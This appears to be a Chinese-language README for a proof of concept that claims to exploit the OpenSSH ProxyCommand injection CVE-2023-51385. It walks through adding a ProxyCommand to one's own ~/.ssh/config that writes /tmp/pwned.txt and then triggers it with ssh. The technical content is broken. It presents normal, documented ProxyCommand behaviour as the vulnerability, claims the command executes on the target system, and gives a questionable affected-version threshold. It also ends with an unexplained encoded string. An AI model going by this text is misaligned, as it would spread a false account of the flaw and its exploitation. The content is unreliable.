OpenSSH ProxyCommand注入漏洞(CVE-2023-51385)演示与验证

0 阅读5分钟

OpenSSH ProxyCommand注入漏洞 (CVE-2023-51385) 验证与利用指南

本项目提供了一个针对 CVE-2023-51385 的完整 Proof-of-Concept (PoC) 演示。该漏洞是 OpenSSH 中一个危险的命令注入漏洞,允许攻击者在客户端通过精心构造的 ProxyCommand 配置实现任意命令执行。

📌 项目概述

OpenSSH 是使用最广泛的 SSH 协议实现,其 ProxyCommand 选项用于指定连接目标主机所需的命令。由于对用户输入的不当处理,攻击者可以注入并执行任意系统命令,严重威胁系统安全。

本 PoC 项目旨在通过详细的步骤演示,帮助安全研究人员、系统管理员和渗透测试人员深入理解该漏洞的原理、影响范围以及修复方法。

✨ 功能特性

  • 漏洞复现:提供完整的、可操作的漏洞触发流程。
  • 版本检测:指导如何检查目标系统上 OpenSSH 的版本,以确认其是否受影响。
  • 配置操纵:演示如何通过修改或创建 ~/.ssh/config 文件来注入恶意命令。
  • 结果验证:提供简单的验证方法,确认命令是否成功执行。
  • 教育目的:所有代码和步骤均以教育和授权测试为目的,强调合法使用。

🛠️ 安装指南

本项目的“安装”即指在本地(攻击者)或测试目标系统上准备漏洞验证环境。

系统要求

  • 任何基于 Linux 的系统(如 Ubuntu, CentOS, Debian 等)。
  • 安装了 OpenSSH 客户端,且版本低于 9.8
  • 拥有对测试系统 SSH 服务的访问权限(凭据认证)。

环境准备步骤

  1. 检查 OpenSSH 版本 打开终端,运行以下命令查看当前 SSH 客户端版本:

    ssh -V
    

    如果输出版本号低于 9.8 (如 OpenSSH_8.9p1),则系统可能受此漏洞影响。

  2. 检查 SSH 配置目录 查看 ~/.ssh 目录是否存在,以及其中是否有 config 文件。

    ls -lah ~/.ssh
    
  3. 准备 SSH 配置文件

    • 如果已有 config 文件,建议先备份:
      cp ~/.ssh/config ~/.ssh/config.bak
      
    • 如果没有 config 文件,则创建一个:
      mkdir -p ~/.ssh
      touch ~/.ssh/config
      

📖 使用说明

基础漏洞验证示例

以下步骤演示如何通过创建一个恶意的 SSH 配置项来触发漏洞,并在目标系统上创建一个文件。

  1. 编辑 SSH 配置文件 使用文本编辑器(如 nano)打开 ~/.ssh/config 文件。

    nano ~/.ssh/config
    
  2. 插入恶意配置块 在文件末尾添加以下内容。请注意,HostName 是一个占位符,真正的恶意命令在 ProxyCommand 中执行。

    Host pwned-target
        HostName 127.0.0.1
        ProxyCommand bash -c 'echo "You have been hacked via ProxyCommand" > /tmp/pwned.txt'
    
    • Host pwned-target:定义一个名为 pwned-target 的 SSH 主机别名。
    • HostName 127.0.0.1:一个无害的占位符地址,连接尝试会发往本地。
    • ProxyCommand bash -c '...':这是漏洞触发点。当尝试连接 pwned-target 时,OpenSSH 会执行此命令,而不是直接建立 TCP 连接。命令内容是将一段文本写入 /tmp/pwned.txt 文件。
  3. 保存并退出nano 中,按 Ctrl+O 保存,按 Ctrl+X 退出。

  4. 触发漏洞 在终端中,尝试连接刚刚配置的主机别名:

    ssh pwned-target
    

    由于 ProxyCommand 的优先级高于 HostName,OpenSSH 会首先执行我们注入的命令。

  5. 验证利用结果 检查 /tmp 目录下是否成功创建了文件,并查看其内容:

    cd /tmp
    ls -lah | grep pwned.txt
    cat pwned.txt
    

    如果看到 "You have been hacked via ProxyCommand" 输出,则证明漏洞利用成功。

典型使用场景

  • 安全测试:在获得授权的情况下,测试内部系统是否存在此漏洞。
  • 漏洞研究:分析漏洞触发机制,学习命令注入的经典模式。
  • 系统加固:通过复现漏洞,了解为何需要升级 OpenSSH 版本或加强配置管理。

核心代码分析

以下为项目中用于漏洞利用和验证的核心代码块及注释。

# 1. 创建或修改SSH配置文件以注入恶意命令
# 文件路径: ~/.ssh/config
cat >> ~/.ssh/config << EOF
Host vulnerable-test
    HostName 192.168.1.1  # 这是一个占位符,可以是任意IP
    # 漏洞核心:ProxyCommand中的命令会被执行
    # 此处的 'bash -c' 允许执行复杂的命令链
    # 示例:创建一个文件 /tmp/pwned.txt 并写入内容
    ProxyCommand bash -c 'echo "You have been hacked via ProxyCommand" > /tmp/pwned.txt'
EOF

# 2. 触发漏洞的命令
# 当执行 ssh vulnerable-test 时,OpenSSH客户端会处理配置文件
# 在处理到 Host vulnerable-test 时,会看到 ProxyCommand 指令
# 它不会尝试连接 HostName 192.168.1.1,而是直接执行 ProxyCommand 指定的命令
ssh vulnerable-test

# 3. 利用后的验证
# 检查 /tmp 目录下的文件,以确认命令是否成功执行
if [ -f /tmp/pwned.txt ]; then
    echo "[+] 漏洞利用成功!文件已创建。"
    cat /tmp/pwned.txt
else
    echo "[-] 漏洞利用失败或系统已修复。"
fi

🔗 相关链接


免责声明:本项目内容仅供教育和安全研究使用。用户有责任确保其行为符合所有适用的法律和法规。严禁将本 PoC 用于任何未经授权的系统。 6HFtX5dABrKlqXeO5PUv/7C5hVpAWlNRv9GhoJmTKPLVomQTQvL+7Umw7J4nAGcXrqMrE3XtlvmUnImYyUAQuuGYz8HH0DCxU59AVhqfPYU=